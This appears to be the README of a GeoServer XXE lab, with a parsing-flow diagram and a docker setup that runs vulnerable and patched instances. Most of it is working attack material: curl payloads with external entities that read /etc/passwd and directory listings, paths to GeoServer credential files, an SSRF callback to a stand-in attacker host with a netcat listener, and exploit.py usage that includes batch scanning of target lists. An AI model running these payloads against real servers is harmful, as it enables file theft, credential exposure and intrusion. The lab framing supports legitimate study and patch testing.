POST /geoserver/ows?service=WMS&request=GetMap
     |
     v
+-----------------------------+
|   OWS Dispatcher            | <-- EntityResolver configured
|   (Detects SLD in body)     |
+-----------------------------+
     |
     v
+-----------------------------+
|   SLDXmlRequestReader       |
|   -> SLDHandler.parse()     |
|   -> SLDParser.parseSLD()   | <-- NO EntityResolver!
+-----------------------------+
     |
     v
   XXE RESOLVED -> File/SSRF

# Start both vulnerable and patched instances
docker-compose up -d

# Vulnerable: http://localhost:8080/geoserver
# Patched:    http://localhost:8081/geoserver

# Wait ~60 seconds for startup

curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

<ServiceException>
  Unknown layer: root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
</ServiceException>

<ServiceException>
  Entity resolution disallowed for file:///etc/passwd
</ServiceException>

file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml

# List root directory
python3 exploit.py -u http://localhost:8080 --file /

# Enumerate geoserver data
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/

__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...

# Start listener
nc -lvnp 9999

# Send payload
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

# Version check
python3 exploit.py -u http://localhost:8080

# Safe probe (no data exfil)
python3 exploit.py -u http://localhost:8080 --probe

# File read
python3 exploit.py -u http://localhost:8080 --file /etc/passwd

# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback

# Verbose mode
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v

# Batch scan
python3 exploit.py --list targets.txt --output vulnerable.txt

geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py